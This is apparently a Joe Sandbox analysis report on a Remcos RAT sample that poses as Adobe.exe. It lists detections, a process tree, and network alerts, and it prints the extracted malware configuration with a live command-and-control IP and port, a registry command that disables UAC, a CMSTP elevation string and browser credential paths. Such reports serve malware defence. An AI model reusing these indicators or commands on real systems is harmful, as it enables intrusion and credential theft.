Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
rSOD219ISF-____.scr.exe

Overview

General Information

Sample name:rSOD219ISF-____.scr.exe
Analysis ID:1534674
MD5:c50245598f59f8ef84262dd0d82d6e53
SHA1:7da1807f04997b506e0ae563e2064ebc050095af
SHA256:7a9e36961ab5b2ab759ec2196d40618b1f43c5a04c40c01b31cfb4ea1adfc347
Tags:exeuser-Porcupine
Infos:

Detection

Remcos
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Contains functionality to bypass UAC (CMSTPLUA)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
.NET source code contains potential unpacker
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Creates autostart registry keys with suspicious names
Delayed program exit found
Drops executable to a common third party application directory
Injects a PE file into a foreign processes
Machine Learning detection for dropped file
Machine Learning detection for sample
Maps a DLL or memory area into another process
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Yara detected WebBrowserPassView password recovery tool
Allocates memory with a write watch (potentially for evading sandboxes)
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evaded block containing many API calls
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • rSOD219ISF-____.scr.exe (PID: 432 cmdline: "C:\Users\user\Desktop\rSOD219ISF-____.scr.exe" MD5: C50245598F59F8EF84262DD0D82D6E53)
    • rSOD219ISF-____.scr.exe (PID: 6756 cmdline: "C:\Users\user\Desktop\rSOD219ISF-____.scr.exe" MD5: C50245598F59F8EF84262DD0D82D6E53)
      • Adobe.exe (PID: 7128 cmdline: "C:\ProgramData\Adobe\Adobe.exe" MD5: C50245598F59F8EF84262DD0D82D6E53)
        • Adobe.exe (PID: 7224 cmdline: "C:\ProgramData\Adobe\Adobe.exe" MD5: C50245598F59F8EF84262DD0D82D6E53)
          • Adobe.exe (PID: 7420 cmdline: C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\trjggazotdeaznpdaliydbqndn" MD5: C50245598F59F8EF84262DD0D82D6E53)
          • Adobe.exe (PID: 7436 cmdline: C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\dtpyhskqhlwfkbdpjwuzggcwmubqst" MD5: C50245598F59F8EF84262DD0D82D6E53)
          • Adobe.exe (PID: 7444 cmdline: C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\dtpyhskqhlwfkbdpjwuzggcwmubqst" MD5: C50245598F59F8EF84262DD0D82D6E53)
          • Adobe.exe (PID: 7452 cmdline: C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\onurakujvtpjmhztaghtrsxnnatrlexmp" MD5: C50245598F59F8EF84262DD0D82D6E53)
  • Adobe.exe (PID: 7476 cmdline: "C:\ProgramData\Adobe\Adobe.exe" MD5: C50245598F59F8EF84262DD0D82D6E53)
    • Adobe.exe (PID: 7540 cmdline: "C:\ProgramData\Adobe\Adobe.exe" MD5: C50245598F59F8EF84262DD0D82D6E53)
  • Adobe.exe (PID: 7804 cmdline: "C:\ProgramData\Adobe\Adobe.exe" MD5: C50245598F59F8EF84262DD0D82D6E53)
    • Adobe.exe (PID: 7884 cmdline: "C:\ProgramData\Adobe\Adobe.exe" MD5: C50245598F59F8EF84262DD0D82D6E53)
    • Adobe.exe (PID: 7892 cmdline: "C:\ProgramData\Adobe\Adobe.exe" MD5: C50245598F59F8EF84262DD0D82D6E53)
  • Adobe.exe (PID: 7928 cmdline: "C:\ProgramData\Adobe\Adobe.exe" MD5: C50245598F59F8EF84262DD0D82D6E53)
    • Adobe.exe (PID: 8000 cmdline: "C:\ProgramData\Adobe\Adobe.exe" MD5: C50245598F59F8EF84262DD0D82D6E53)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "104.250.180.178:7902:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Enable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "Adobe.exe", "Startup value": "Disable", "Hide file": "B||Adobe-OTOIRK", "Mutex": "8", "Keylog flag": "logs.dat", "Keylog path": "Disable", "Keylog file": "Disable", "Keylog crypt": "Disable", "Hide keylog file": "10", "Screenshot flag": "Disable", "Screenshot time": "", "Take Screenshot option": "5", "Take screenshot title": "6", "Take screenshot time": "Screenshots", "Screenshot path": "Disable", "Screenshot file": "Disable", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "0", "Audio path": "Temp", "Audio folder": "", "Connect delay": "0", "Copy folder": "255D888404B9C193806CB403D579CFED", "Keylog folder": "|B0\\ V>;@0*H=00\"19700101000000Z20901231000000Z00Y0*H=*H=BEc5{^>)>\"vJse*SiAQbXB*=H0E!-2>[noo[$ot1 =W<8\\zj/"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000010.00000002.1933496998.00000000015A7000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
    00000002.00000002.1731258252.0000000000C8A000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
      00000012.00000002.2015515611.00000000017D7000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
        0000000A.00000002.1847433881.0000000001507000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
          00000011.00000002.2041165688.0000000004671000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
            Click to see the 29 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            2.2.rSOD219ISF-____.scr.exe.400000.0.raw.unpackJoeSecurity_RemcosYara detected Remcos RATJoe Security
              2.2.rSOD219ISF-____.scr.exe.400000.0.raw.unpackJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
                2.2.rSOD219ISF-____.scr.exe.400000.0.raw.unpackWindows_Trojan_Remcos_b296e965unknownunknown
                • 0x6c4a8:$a1: Remcos restarted by watchdog!
                • 0x6ca20:$a3: %02i:%02i:%02i:%03i
                2.2.rSOD219ISF-____.scr.exe.400000.0.raw.unpackREMCOS_RAT_variantsunknownunknown
                • 0x664fc:$str_a1: C:\Windows\System32\cmd.exe
                • 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
                • 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
                • 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
                • 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
                • 0x6656c:$str_b2: Executing file:
                • 0x675ec:$str_b3: GetDirectListeningPort
                • 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
                • 0x67118:$str_b7: \update.vbs
                • 0x66594:$str_b9: Downloaded file:
                • 0x66580:$str_b10: Downloading file:
                • 0x66624:$str_b12: Failed to upload file:
                • 0x675b4:$str_b13: StartForward
                • 0x675d4:$str_b14: StopForward
                • 0x67070:$str_b15: fso.DeleteFile "
                • 0x67004:$str_b16: On Error Resume Next
                • 0x670a0:$str_b17: fso.DeleteFolder "
                • 0x66614:$str_b18: Uploaded file:
                • 0x665d4:$str_b19: Unable to delete:
                • 0x67038:$str_b20: while fso.FileExists("
                • 0x66ab1:$str_c0: [Firefox StoredLogins not found]
                2.2.rSOD219ISF-____.scr.exe.400000.0.raw.unpackINDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOMDetects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)ditekSHen
                • 0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                • 0x6637c:$s1: CoGetObject
                • 0x66390:$s1: CoGetObject
                • 0x663ac:$s1: CoGetObject
                • 0x70338:$s1: CoGetObject
                • 0x6633c:$s2: Elevation:Administrator!new:
                Click to see the 27 entries

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: CurrentVersion Autorun Keys Modification
                Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\ProgramData\Adobe\Adobe.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe, ProcessId: 6756, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Adobe-OTOIRK
                Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification
                Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\ProgramData\Adobe\Adobe.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe, ProcessId: 6756, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Adobe-OTOIRK

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-10-16T05:32:08.209897+020020365941Malware Command and Control Activity Detected192.168.2.449733104.250.180.1787902TCP
                2024-10-16T05:32:10.928633+020020365941Malware Command and Control Activity Detected192.168.2.449736104.250.180.1787902TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-10-16T05:32:10.407621+020028033043Unknown Traffic192.168.2.449737178.237.33.5080TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Found malware configuration
                Source: 00000010.00000002.1933496998.00000000015A7000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: Remcos {"Host:Port:Password": "104.250.180.178:7902:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Enable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "Adobe.exe", "Startup value": "Disable", "Hide file": "B||Adobe-OTOIRK", "Mutex": "8", "Keylog flag": "logs.dat", "Keylog path": "Disable", "Keylog file": "Disable", "Keylog crypt": "Disable", "Hide keylog file": "10", "Screenshot flag": "Disable", "Screenshot time": "", "Take Screenshot option": "5", "Take screenshot title": "6", "Take screenshot time": "Screenshots", "Screenshot path": "Disable", "Screenshot file": "Disable", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "0", "Audio path": "Temp", "Audio folder": "", "Connect delay": "0", "Copy folder": "255D888404B9C193806CB403D579CFED", "Keylog folder": "|B0\\ V>;@0*H=00\"19700101000000Z20901231000000Z00Y0*H=*H=BEc5{^>)>\"vJse*SiAQbXB*=H0E!-2>[noo[$ot1 =W<8\\zj/"}
                Multi AV Scanner detection for dropped file
                Source: C:\ProgramData\Adobe\Adobe.exeReversingLabs: Detection: 26%
                Multi AV Scanner detection for submitted file
                Source: rSOD219ISF-____.scr.exeReversingLabs: Detection: 26%
                Yara detected Remcos RAT
                Source: Yara matchFile source: 2.2.rSOD219ISF-____.scr.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.rSOD219ISF-____.scr.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3ba9310.4.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3d1e350.3.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3d1e350.3.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3ba9310.4.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000010.00000002.1933496998.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1731258252.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000012.00000002.2015515611.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.1847433881.0000000001507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000011.00000002.2041165688.0000000004671000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.4178218379.0000000001597000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.1733891519.0000000003AE2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: rSOD219ISF-____.scr.exe PID: 432, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: rSOD219ISF-____.scr.exe PID: 6756, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7224, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7540, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7892, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7928, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 8000, type: MEMORYSTR
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Machine Learning detection for dropped file
                Source: C:\ProgramData\Adobe\Adobe.exeJoe Sandbox ML: detected
                Machine Learning detection for sample
                Source: rSOD219ISF-____.scr.exeJoe Sandbox ML: detected
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00433837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,2_2_00433837
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1733891519.0000000003AE2000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: -----BEGIN PUBLIC KEY-----memstr_a821c1d2-5

                Exploits

                barindex
                Yara detected UAC Bypass using CMSTP
                Source: Yara matchFile source: 2.2.rSOD219ISF-____.scr.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.rSOD219ISF-____.scr.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3ba9310.4.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3d1e350.3.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3d1e350.3.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3c63b30.2.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rSOD219ISF-____.scr.exe.3ba9310.4.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000011.00000002.2041165688.0000000004671000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.1733891519.0000000003AE2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: rSOD219ISF-____.scr.exe PID: 432, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: rSOD219ISF-____.scr.exe PID: 6756, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7928, type: MEMORYSTR

                Privilege Escalation

                barindex
                Contains functionality to bypass UAC (CMSTPLUA)
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_004074FD _wcslen,CoGetObject,2_2_004074FD
                Source: rSOD219ISF-____.scr.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                Source: rSOD219ISF-____.scr.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,2_2_00409253
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,2_2_0041C291
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,2_2_0040C34D
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,2_2_00409665
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,2_2_0040880C
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0040783C FindFirstFileW,FindNextFileW,2_2_0040783C
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,2_2_00419AF5
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,2_2_0040BB30
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,2_2_0040BD37
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 4_2_100010F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,4_2_100010F1
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0040AE51 FindFirstFileW,FindNextFileW,5_2_0040AE51
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,7_2_00407EF8
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 8_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,8_2_00407898
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,2_2_00407C97

                Networking

                barindex
                Suricata IDS alerts for network traffic
                Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49736 -> 104.250.180.178:7902
                Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.4:49733 -> 104.250.180.178:7902
                C2 URLs / IPs found in malware configuration
                Source: Malware configuration extractorURLs: 104.250.180.178
                Source: global trafficTCP traffic: 192.168.2.4:49733 -> 104.250.180.178:7902
                Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
                Source: Joe Sandbox ViewIP Address: 104.250.180.178 104.250.180.178
                Source: Joe Sandbox ViewIP Address: 178.237.33.50 178.237.33.50
                Source: Joe Sandbox ViewASN Name: M247GB M247GB
                Source: Network trafficSuricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49737 -> 178.237.33.50:80
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0041B380 InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,2_2_0041B380
                Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
                Source: Adobe.exe, 00000008.00000002.1822520343.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users%s\Loginprpl-msnprpl-yahooprpl-jabberprpl-novellprpl-oscarprpl-ggprpl-ircaccounts.xmlaimaim_1icqicq_1jabberjabber_1msnmsn_1yahoogggg_1http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com equals www.ebuddy.com (eBuggy)
                Source: Adobe.exe, Adobe.exe, 00000008.00000002.1822520343.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.ebuddy.com equals www.ebuddy.com (eBuggy)
                Source: Adobe.exeString found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)
                Source: bhv96DB.tmp.5.drString found in binary or memory: pop-lva1.www.linkedin.com equals www.linkedin.com (Linkedin)
                Source: bhv96DB.tmp.5.drString found in binary or memory: pop-lva1.www.linkedin.com0 equals www.linkedin.com (Linkedin)
                Source: Adobe.exe, 00000005.00000002.1828960927.000000000103C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: s://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live.com/oauth20_desktop.srfhttps://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com::MBI_SSL&response_type=token&display=windesktop&theme=win7&lc=2057&redirect_uri=https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srf?lc=1033https://login.live.com/oauth20_desktop.srffile:///C:/Windows/system32/oobe/FirstLogonAnim.htmlfile://192.168.2.1/all/install/setup.au3file://192.168.2.1/all/ProfessionalRetail.imgfile://192.168.2.1/all/Professional2019Retail.imghttps://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.facebook.com (Facebook)
                Source: Adobe.exe, 00000005.00000002.1828960927.000000000103C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: s://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live.com/oauth20_desktop.srfhttps://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com::MBI_SSL&response_type=token&display=windesktop&theme=win7&lc=2057&redirect_uri=https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srf?lc=1033https://login.live.com/oauth20_desktop.srffile:///C:/Windows/system32/oobe/FirstLogonAnim.htmlfile://192.168.2.1/all/install/setup.au3file://192.168.2.1/all/ProfessionalRetail.imgfile://192.168.2.1/all/Professional2019Retail.imghttps://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.yahoo.com (Yahoo)
                Source: Adobe.exe, 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.facebook.com (Facebook)
